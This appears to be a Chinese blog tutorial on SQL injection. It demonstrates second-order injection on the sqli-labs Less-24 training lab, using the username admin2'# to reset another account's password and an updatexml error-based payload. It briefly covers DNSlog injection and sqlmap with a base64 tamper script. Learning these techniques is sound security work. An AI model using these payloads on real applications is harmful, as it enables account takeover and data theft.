SQL注入-二次注入-dnslog注入
二次注入
二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
使用sqlilabs-less24-post登陆框&二次注入演示
在原来数据库中:
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 111111 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+----------+------------+
14 rows in set (0.00 sec)
我们可以利用二次注入来更改admin2的密码
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 111111 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
| 16 | admin2'# | 123456 |
+----+----------+------------+
15 rows in set (0.00 sec)
使用admin2‘#账号登录
更改admin2‘#的密码为 111111 ,这里会把admin2的密码改掉为 111111 ,admin2'#的密码不变
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 111111 |
| 9 | admin1 | admin1 |
| 10 | admin2 | 111111 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
| 16 | admin2'# | 123456 |
+----+----------+------------+
15 rows in set (0.00 sec)
在源码中:
我们执行修改admin2'# 的密码时,这里的语句变成
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin2'#' and password='$curr_pass' ";
后面的#注释掉后面的语句等效于
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin2'
直接把admin2的密码修改成为 我们输入的密码
我们可以使用admin2'or updatexml(1,concat(0x7e,database(),0x7e),0) or'注册,二次注入得到我们想要的信息
二次注入只有在我们知道源码的语句时才能使用
dnslog注入
涉及资源:http://ceye.io
参考资料:https://www.cnblogs.com/xhds/p/12322839.html
中转注入
一个Base64的注入点 ,手工注入太麻烦,有sqlmap Base64注入的方法
sqlmap -u http://xxxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
--tamper 明确告诉sqlmap使用base64对注入的参数进行编码
其他插件,可以自己扩展,在tamper文件夹下面
encodes编码 ——charencode.py
base64编码 —— base64encode.py
自己编写:创建一个text.php文件在本机网站根目录
这里读取请求中的 x ,对其进行base64编码 ,再使用file_get_contents得到返回的结果(先拼接)
使用sqlmap,对 text.php ?x=
asdf
标签:二次,admin1,admin3,admin2,admin4,SQL,+----+----------+------------+,注入 From: https://www.cnblogs.com/crabin/p/17092308.html